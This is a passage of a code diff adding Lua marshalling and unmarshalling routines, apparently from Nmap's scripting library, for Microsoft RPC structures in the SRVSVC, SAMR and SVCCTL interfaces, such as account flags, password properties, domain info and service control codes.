+ pos, response['bytessent_low'] = unmarshall_int32(data, pos)
+ pos, response['bytessent_high'] = unmarshall_int32(data, pos)
+ pos, response['bytesrcvd_low'] = unmarshall_int32(data, pos)
+ pos, response['bytesrcvd_high'] = unmarshall_int32(data, pos)
+ pos, response['avresponse'] = unmarshall_int32(data, pos)
+ pos, response['reqbufneed'] = unmarshall_int32(data, pos)
+ pos, response['bigbufneed'] = unmarshall_int32(data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_Statistics()")
+ return pos, response
+end
+
+---Unmarshalls a <code>srvsvc_Statistics</code> as a pointer. Wireshark fails to do this, and ends
+-- up parsing the packet wrong, so take care when packetlogging.
+--
+-- See <code>unmarshall_srvsvc_Statistics</code> for more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_srvsvc_Statistics_ptr(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_srvsvc_Statistics_ptr()")
+
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_srvsvc_Statistics, {})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_srvsvc_Statistics_ptr()")
+ return pos, result
+end
+
+
+
+----------------------------------
+-- SAMR
+-- (dependencies: MISC, LSA, SECURITY)
+----------------------------------
+
+local samr_ConnectAccessMask =
+{
+ SAMR_ACCESS_CONNECT_TO_SERVER = 0x00000001,
+ SAMR_ACCESS_SHUTDOWN_SERVER = 0x00000002,
+ SAMR_ACCESS_INITIALIZE_SERVER = 0x00000004,
+ SAMR_ACCESS_CREATE_DOMAIN = 0x00000008,
+ SAMR_ACCESS_ENUM_DOMAINS = 0x00000010,
+ SAMR_ACCESS_OPEN_DOMAIN = 0x00000020
+}
+local samr_ConnectAccessMask_str =
+{
+ SAMR_ACCESS_CONNECT_TO_SERVER = "Connect to server",
+ SAMR_ACCESS_SHUTDOWN_SERVER = "Shutdown server",
+ SAMR_ACCESS_INITIALIZE_SERVER = "Initialize server",
+ SAMR_ACCESS_CREATE_DOMAIN = "Create domain",
+ SAMR_ACCESS_ENUM_DOMAINS = "Enum domains",
+ SAMR_ACCESS_OPEN_DOMAIN = "Open domain"
+}
+
+---Marshall a <code>samr_ConnectAccessMask</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param accessmask The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_samr_ConnectAccessMask(accessmask)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_samr_ConnectAccessMask()")
+
+ result = marshall_Enum32(accessmask, samr_ConnectAccessMask)
+
+ stdnse.debug4("MSRPC: Leaving marshall_samr_ConnectAccessMask()")
+ return result
+end
+
+---Unmarshall a <code>samr_ConnectAccessMask</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_ConnectAccessMask(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_ConnectAccessMask()")
+
+ pos, result = unmarshall_Enum32(data, pos, samr_ConnectAccessMask)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_ConnectAccessMask()")
+ return pos, result
+end
+
+---Convert a <code>samr_ConnectAccessMask</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function samr_ConnectAccessMask_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering samr_ConnectAccessMask_tostr()")
+
+ result = samr_ConnectAccessMask_str[val]
+
+ stdnse.debug4("MSRPC: Leaving samr_ConnectAccessMask_tostr()")
+ return result
+end
+
+local samr_DomainAccessMask =
+{
+ DOMAIN_ACCESS_LOOKUP_INFO_1 = 0x00000001,
+ DOMAIN_ACCESS_SET_INFO_1 = 0x00000002,
+ DOMAIN_ACCESS_LOOKUP_INFO_2 = 0x00000004,
+ DOMAIN_ACCESS_SET_INFO_2 = 0x00000008,
+ DOMAIN_ACCESS_CREATE_USER = 0x00000010,
+ DOMAIN_ACCESS_CREATE_GROUP = 0x00000020,
+ DOMAIN_ACCESS_CREATE_ALIAS = 0x00000040,
+ DOMAIN_ACCESS_LOOKUP_ALIAS = 0x00000080,
+ DOMAIN_ACCESS_ENUM_ACCOUNTS = 0x00000100,
+ DOMAIN_ACCESS_OPEN_ACCOUNT = 0x00000200,
+ DOMAIN_ACCESS_SET_INFO_3 = 0x00000400
+}
+local samr_DomainAccessMask_str =
+{
+ DOMAIN_ACCESS_LOOKUP_INFO_1 = "Lookup info (1)",
+ DOMAIN_ACCESS_SET_INFO_1 = "Set info (1)",
+ DOMAIN_ACCESS_LOOKUP_INFO_2 = "Lookup info (2)",
+ DOMAIN_ACCESS_SET_INFO_2 = "Set info (2)",
+ DOMAIN_ACCESS_CREATE_USER = "Create user",
+ DOMAIN_ACCESS_CREATE_GROUP = "Create group",
+ DOMAIN_ACCESS_CREATE_ALIAS = "Create alias",
+ DOMAIN_ACCESS_LOOKUP_ALIAS = "Lookup alias",
+ DOMAIN_ACCESS_ENUM_ACCOUNTS = "Enum accounts",
+ DOMAIN_ACCESS_OPEN_ACCOUNT = "Open account",
+ DOMAIN_ACCESS_SET_INFO_3 = "Set info (3)"
+}
+
+---Marshall a <code>samr_DomainAccessMask</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param accessmask The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_samr_DomainAccessMask(accessmask)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_samr_DomainAccessMask()")
+
+ result = marshall_Enum32(accessmask, samr_DomainAccessMask)
+
+ stdnse.debug4("MSRPC: Leaving marshall_samr_DomainAccessMask()")
+ return result
+end
+
+---Unmarshall a <code>samr_DomainAccessMask</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_DomainAccessMask(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DomainAccessMask()")
+
+ pos, result = unmarshall_Enum32(data, pos, samr_DomainAccessMask)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DomainAccessMask()")
+ return pos, result
+end
+
+---Convert a <code>samr_DomainAccessMask</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function samr_DomainAccessMask_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering samr_DomainAccessMask_tostr()")
+
+ result = samr_DomainAccessMask_str[val]
+
+ stdnse.debug4("MSRPC: Leaving samr_DomainAccessMask_tostr()")
+ return result
+end
+
+local samr_AcctFlags =
+{
+ ACB_NONE = 0x0000000,
+ ACB_DISABLED = 0x00000001, -- User account disabled
+ ACB_HOMDIRREQ = 0x00000002, -- Home directory required
+ ACB_PWNOTREQ = 0x00000004, -- User password not required
+ ACB_TEMPDUP = 0x00000008, -- Temporary duplicate account
+ ACB_NORMAL = 0x00000010, -- Normal user account
+ ACB_MNS = 0x00000020, -- MNS logon user account
+ ACB_DOMTRUST = 0x00000040, -- Interdomain trust account
+ ACB_WSTRUST = 0x00000080, -- Workstation trust account
+ ACB_SVRTRUST = 0x00000100, -- Server trust account
+ ACB_PWNOEXP = 0x00000200, -- User password does not expire
+ ACB_AUTOLOCK = 0x00000400, -- Account auto locked
+ ACB_ENC_TXT_PWD_ALLOWED = 0x00000800, -- Encryped text password is allowed
+ ACB_SMARTCARD_REQUIRED = 0x00001000, -- Smart Card required
+ ACB_TRUSTED_FOR_DELEGATION = 0x00002000, -- Trusted for Delegation
+ ACB_NOT_DELEGATED = 0x00004000, -- Not delegated
+ ACB_USE_DES_KEY_ONLY = 0x00008000, -- Use DES key only
+ ACB_DONT_REQUIRE_PREAUTH = 0x00010000, -- Preauth not required
+ ACB_PW_EXPIRED = 0x00020000, -- Password Expired
+ ACB_NO_AUTH_DATA_REQD = 0x00080000 -- No authorization data required
+}
+local samr_AcctFlags_str =
+{
+ ACB_NONE = "n/a",
+ ACB_DISABLED = "Account disabled",
+ ACB_HOMDIRREQ = "Home directory required",
+ ACB_PWNOTREQ = "Password not required",
+ ACB_TEMPDUP = "Temporary duplicate account",
+ ACB_NORMAL = "Normal user account",
+ ACB_MNS = "MNS logon user account",
+ ACB_DOMTRUST = "Interdomain trust account",
+ ACB_WSTRUST = "Workstation trust account",
+ ACB_SVRTRUST = "Server trust account",
+ ACB_PWNOEXP = "Password does not expire",
+ ACB_AUTOLOCK = "Auto locked",
+ ACB_ENC_TXT_PWD_ALLOWED = "Encryped text password is allowed",
+ ACB_SMARTCARD_REQUIRED = "Smart Card required",
+ ACB_TRUSTED_FOR_DELEGATION = "Trusted for Delegation",
+ ACB_NOT_DELEGATED = "Not delegated",
+ ACB_USE_DES_KEY_ONLY = "Use DES key only",
+ ACB_DONT_REQUIRE_PREAUTH = "Preauth not required",
+ ACB_PW_EXPIRED = "Password Expired",
+ ACB_NO_AUTH_DATA_REQD = "No authorization data required"
+}
+
+---Marshall a <code>samr_AcctFlags</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_samr_AcctFlags(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_samr_AcctFlags()")
+
+ result = marshall_Enum32(flags, samr_AcctFlags)
+
+ stdnse.debug4("MSRPC: Leaving marshall_samr_AcctFlags()")
+ return result
+end
+
+---Unmarshall a <code>samr_AcctFlags</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_samr_AcctFlags(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_AcctFlags()")
+
+ pos, str = unmarshall_Enum32_array(data, pos, samr_AcctFlags)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_AcctFlags()")
+ return pos, str
+end
+
+---Convert a <code>samr_AcctFlags</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function samr_AcctFlags_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering samr_AcctFlags_tostr()")
+
+ result = samr_AcctFlags_str[val]
+
+ stdnse.debug4("MSRPC: Leaving samr_AcctFlags_tostr()")
+ return result
+end
+
+local samr_PasswordProperties =
+{
+ DOMAIN_PASSWORD_COMPLEX = 0x00000001,
+ DOMAIN_PASSWORD_NO_ANON_CHANGE = 0x00000002,
+ DOMAIN_PASSWORD_NO_CLEAR_CHANGE = 0x00000004,
+ DOMAIN_PASSWORD_LOCKOUT_ADMINS = 0x00000008,
+ DOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010,
+ DOMAIN_REFUSE_PASSWORD_CHANGE = 0x00000020
+}
+local samr_PasswordProperties_str =
+{
+ DOMAIN_PASSWORD_COMPLEX = "Complexity requirements exist",
+ DOMAIN_PASSWORD_NO_ANON_CHANGE = "Must be logged in to change password",
+ DOMAIN_PASSWORD_NO_CLEAR_CHANGE = "Cannot change passwords in cleartext",
+ DOMAIN_PASSWORD_LOCKOUT_ADMINS = "Admin account can be locked out",
+ DOMAIN_PASSWORD_STORE_CLEARTEXT = "Cleartext passwords can be stored",
+ DOMAIN_REFUSE_PASSWORD_CHANGE = "Passwords cannot be changed"
+}
+
+---Marshall a <code>samr_PasswordProperties</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param properties The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_samr_PasswordProperties(properties)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_samr_PasswordProperties()")
+
+ result = marshall_Enum32(properties, samr_PasswordProperties)
+
+ stdnse.debug4("MSRPC: Leaving marshall_samr_PasswordProperties()")
+ return result
+end
+
+---Unmarshall a <code>samr_PasswordProperties</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_samr_PasswordProperties(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_PasswordProperties()")
+
+ pos, str = unmarshall_Enum32_array(data, pos, samr_PasswordProperties)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_PasswordProperties()")
+ return pos, str
+end
+
+---Convert a <code>samr_PasswordProperties</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function samr_PasswordProperties_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering samr_PasswordProperties_tostr()")
+
+ result = samr_PasswordProperties_str[val]
+
+ stdnse.debug4("MSRPC: Leaving samr_PasswordProperties_tostr()")
+ return result
+end
+
+
+---Unmarshall a samr_SamEntry struct
+--
+--<code>
+-- typedef struct {
+-- uint32 idx;
+-- lsa_String name;
+-- } samr_SamEntry;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_samr_SamEntry(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_SamEntry()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['idx'] = unmarshall_int32(data, pos)
+ pos, result['name'] = unmarshall_lsa_String_internal(HEAD, data, pos)
+ end
+
+
+ if(location == BODY or location == ALL) then
+ pos, result['name'] = unmarshall_lsa_String_internal(BODY, data, pos, result['name'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_SamEntry()")
+ return pos, result
+end
+
+---Unmarshall a samr_SamArray struct
+--
+--<code>
+-- typedef struct {
+-- uint32 count;
+-- [size_is(count)] samr_SamEntry *entries;
+-- } samr_SamArray;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_SamArray(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_SamArray()")
+
+ pos, result['count'] = unmarshall_int32(data, pos)
+ pos, result['entries'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {result['count'], unmarshall_samr_SamEntry, {}})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_SamArray()")
+ return pos, result
+end
+
+---Unmarshall a pointer to a <code>samr_SamArray</code> type. See <code>unmarshall_samr_SamArray</code> for
+-- more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_SamArray_ptr(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_SamArray_ptr()")
+
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_samr_SamArray, {})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_SamArray_ptr()")
+ return pos, result
+end
+
+---Unmarshall a samr_DispEntryGeneral struct
+--
+--<code>
+-- typedef struct {
+-- uint32 idx;
+-- uint32 rid;
+-- samr_AcctFlags acct_flags;
+-- lsa_String account_name;
+-- lsa_String description;
+-- lsa_String full_name;
+-- } samr_DispEntryGeneral;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_samr_DispEntryGeneral(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DispEntryGeneral()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['idx'] = unmarshall_int32(data, pos)
+ pos, result['rid'] = unmarshall_int32(data, pos)
+ pos, result['acct_flags'] = unmarshall_samr_AcctFlags(data, pos)
+ pos, result['account_name'] = unmarshall_lsa_String_internal(HEAD, data, pos)
+ pos, result['description'] = unmarshall_lsa_String_internal(HEAD, data, pos)
+ pos, result['full_name'] = unmarshall_lsa_String_internal(HEAD, data, pos)
+ end
+
+
+ if(location == BODY or location == ALL) then
+ pos, result['account_name'] = unmarshall_lsa_String_internal(BODY, data, pos, result['account_name'])
+ pos, result['description'] = unmarshall_lsa_String_internal(BODY, data, pos, result['description'])
+ pos, result['full_name'] = unmarshall_lsa_String_internal(BODY, data, pos, result['full_name'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DispEntryGeneral()")
+ return pos, result
+end
+
+---Unmarshall a samr_DispInfoGeneral struct
+--
+--<code>
+-- typedef struct {
+-- uint32 count;
+-- [size_is(count)] samr_DispEntryGeneral *entries;
+-- } samr_DispInfoGeneral;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_DispInfoGeneral(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DispInfoGeneral()")
+
+ pos, result['count'] = unmarshall_int32(data, pos)
+ pos, result['entries'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {result['count'], unmarshall_samr_DispEntryGeneral, {}})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DispInfoGeneral()")
+ return pos, result
+end
+
+
+---Unmarshall a samr_DispInfo struct
+--
+--<code>
+-- typedef [switch_type(uint16)] union {
+-- [case(1)] samr_DispInfoGeneral info1;/* users */
+-- [case(2)] samr_DispInfoFull info2; /* trust accounts? */
+-- [case(3)] samr_DispInfoFullGroups info3; /* groups */
+-- [case(4)] samr_DispInfoAscii info4; /* users */
+-- [case(5)] samr_DispInfoAscii info5; /* groups */
+-- } samr_DispInfo;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. It may also return
+-- <code>nil</code>, if there was an error.
+function unmarshall_samr_DispInfo(data, pos)
+ local level
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DispInfo()")
+
+ pos, level = unmarshall_int16(data, pos)
+
+ if(level == 1) then
+ pos, result = unmarshall_samr_DispInfoGeneral(data, pos)
+ else
+ stdnse.debug1("MSRPC: ERROR: Server returned an unknown level for samr_DispInfo: %d", level)
+ pos, result = nil, nil
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DispInfo()")
+ return pos, result
+end
+
+---Unmarshall a samr_DomInfo1 struct
+--
+--<code>
+-- typedef struct {
+-- uint16 min_password_length;
+-- uint16 password_history_length;
+-- samr_PasswordProperties password_properties;
+-- /* yes, these are signed. They are in negative 100ns */
+-- dlong max_password_age;
+-- dlong min_password_age;
+-- } samr_DomInfo1;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_DomInfo1(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DomInfo1()")
+
+ pos, result['min_password_length'] = unmarshall_int16(data, pos, false)
+ pos, result['password_history_length'] = unmarshall_int16(data, pos, false)
+ pos, result['password_properties'] = unmarshall_samr_PasswordProperties(data, pos)
+ pos, result['max_password_age'] = unmarshall_hyper(data, pos)
+ pos, result['min_password_age'] = unmarshall_hyper(data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DomInfo1()")
+ return pos, result
+end
+
+---Unmarshall a samr_DomInfo8 struct
+--
+--<code>
+-- typedef struct {
+-- hyper sequence_num;
+-- NTTIME domain_create_time;
+-- } samr_DomInfo8;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_DomInfo8(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DomInfo8()")
+
+ pos, result['sequence_num'] = unmarshall_hyper(data, pos)
+ pos, result['domain_create_time'] = unmarshall_NTTIME(data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DomInfo8()")
+ return pos, result
+end
+
+---Unmarshall a samr_DomInfo12 struct
+--
+--<code>
+-- typedef struct {
+-- hyper lockout_duration;
+-- hyper lockout_window;
+-- uint16 lockout_threshold;
+-- } samr_DomInfo12;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_samr_DomInfo12(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DomInfo12()")
+
+ pos, result['lockout_duration'] = unmarshall_hyper(data, pos)
+ pos, result['lockout_window'] = unmarshall_hyper(data, pos)
+ pos, result['lockout_threshold'] = unmarshall_int16(data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DomInfo12()")
+ return pos, result
+end
+
+---Unmarshall a samr_DomainInfo union
+--
+--<code>
+-- typedef [switch_type(uint16)] union {
+-- [case(1)] samr_DomInfo1 info1;
+-- [case(2)] samr_DomInfo2 info2;
+-- [case(3)] samr_DomInfo3 info3;
+-- [case(4)] samr_DomInfo4 info4;
+-- [case(5)] samr_DomInfo5 info5;
+-- [case(6)] samr_DomInfo6 info6;
+-- [case(7)] samr_DomInfo7 info7;
+-- [case(8)] samr_DomInfo8 info8;
+-- [case(9)] samr_DomInfo9 info9;
+-- [case(11)] samr_DomInfo11 info11;
+-- [case(12)] samr_DomInfo12 info12;
+-- [case(13)] samr_DomInfo13 info13;
+-- } samr_DomainInfo;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. May return
+-- <code>nil</code> if there was an error.
+function unmarshall_samr_DomainInfo(data, pos)
+ local level
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DomainInfo()")
+
+ pos, level = unmarshall_int16(data, pos)
+
+ if(level == 1) then
+ pos, result = unmarshall_samr_DomInfo1(data, pos)
+ elseif(level == 8) then
+ pos, result = unmarshall_samr_DomInfo8(data, pos)
+ elseif(level == 12) then
+ pos, result = unmarshall_samr_DomInfo12(data, pos)
+ else
+ stdnse.debug1("MSRPC: ERROR: Server returned an unknown level for samr_DomainInfo: %d", level)
+ pos, result = nil, nil
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DomainInfo()")
+ return pos, result
+end
+
+---Unmarshall a pointer to a <code>samr_DomainInfo</code>. See <code>unmarshall_samr_DomainInfo</code> for
+-- more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. May return
+-- <code>nil</code> if there was an error.
+function unmarshall_samr_DomainInfo_ptr(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_samr_DomainInfo_ptr()")
+
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_samr_DomainInfo, {})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_samr_DomainInfo_ptr()")
+ return pos, result
+end
+
+---Unmarshall a samr_Ids struct
+--
+--<code>
+-- typedef struct {
+-- [range(0,1024)] uint32 count;
+-- [size_is(count)] uint32 *ids;
+-- } samr_Ids;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. May return
+-- <code>nil</code> if there was an error.
+function unmarshall_samr_Ids(data, pos)
+ local array
+
+ pos, array = unmarshall_int32_array_ptr(data, pos)
+
+ return pos, array
+end
+
+----------------------------------
+-- SVCCTL
+-- (dependencies: MISC)
+----------------------------------
+
+local svcctl_ControlCode =
+{
+ SERVICE_CONTROL_CONTINUE = 0x00000003,
+ SERVICE_CONTROL_INTERROGATE = 0x00000004,
+ SERVICE_CONTROL_NETBINDADD = 0x00000007,
+ SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A,
+ SERVICE_CONTROL_NETBINDENABLE = 0x00000009,
+ SERVICE_CONTROL_NETBINDREMOVE = 0x00000008,
+ SERVICE_CONTROL_PARAMCHANGE = 0x00000006,
+ SERVICE_CONTROL_PAUSE = 0x00000002,
+ SERVICE_CONTROL_STOP = 0x00000001,
+}
+local svcctl_ControlCode_str =
+{
+ SERVICE_CONTROL_CONTINUE = "Notifies a paused service that it should resume.",
+ SERVICE_CONTROL_INTERROGATE = "Notifies a service that it should report its current status information to the service control manager.",
+ SERVICE_CONTROL_NETBINDADD = "Notifies a network service that there is a new component for binding. Deprecated.",
+ SERVICE_CONTROL_NETBINDDISABLE = "Notifies a network service that one of its bindings has been disabled. Deprecated.",
+ SERVICE_CONTROL_NETBINDENABLE = "Notifies a network service that a disabled binding has been enabled. Deprecated",
+ SERVICE_CONTROL_NETBINDREMOVE = "Notifies a network service that a component for binding has been removed. Deprecated",
+ SERVICE_CONTROL_PARAMCHANGE = "Notifies a service that its startup parameters have changed.",
+ SERVICE_CONTROL_PAUSE = "Notifies a service that it should pause.",
+ SERVICE_CONTROL_STOP = "Notifies a service that it should stop."
+}
+
+
+---Marshall a <code>svcctl_ControlCode</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_svcctl_ControlCode(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_svcctl_ControlCode()")
+
+ result = marshall_Enum32(flags, svcctl_ControlCode)
+
+ stdnse.debug4("MSRPC: Leaving marshall_svcctl_ControlCode()")
+ return result
+end
+
+---Unmarshall a <code>svcctl_ControlCode</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_svcctl_ControlCode(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_svcctl_ControlCode()")
+
+ pos, str = unmarshall_Enum32_array(data, pos, svcctl_ControlCode)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_svcctl_ControlCode()")
+ return pos, str
+end
+
+---Convert a <code>svcctl_ControlCode</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function svcctl_ControlCode_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering svcctl_ControlCode_tostr()")
+
+ result = svcctl_ControlCode_str[val]
+
+ stdnse.debug4("MSRPC: Leaving svcctl_ControlCode_tostr()")
+ return result
+end
+
+local svcctl_Type =
+{
+ SERVICE_TYPE_KERNEL_DRIVER = 0x01,
+ SERVICE_TYPE_FS_DRIVER = 0x02,
+ SERVICE_TYPE_ADAPTER = 0x04,
+ SERVICE_TYPE_RECOGNIZER_DRIVER = 0x08,
+ SERVICE_TYPE_DRIVER = 0x0B,
+ SERVICE_TYPE_WIN32_OWN_PROCESS = 0x10,
+ SERVICE_TYPE_WIN32_SHARE_PROCESS = 0x20,
+ SERVICE_TYPE_WIN32 = 0x30
+}
+
+---Marshall a <code>svcctl_Type</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_svcctl_Type(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_svcctl_Type()")
+
+ result = marshall_Enum32(flags, svcctl_Type)
+
+ stdnse.debug4("MSRPC: Leaving marshall_svcctl_Type()")
+ return result
+end
+
+---Unmarshall a <code>svcctl_Type</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_svcctl_Type(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_svcctl_Type()")
+
+ pos, str = unmarshall_Enum32_array(data, pos, svcctl_Type)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_svcctl_Type()")
+ return pos, str
+end
+
+--[[Convert a <code>svcctl_Type</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function svcctl_Type_tostr(val)
+ local result
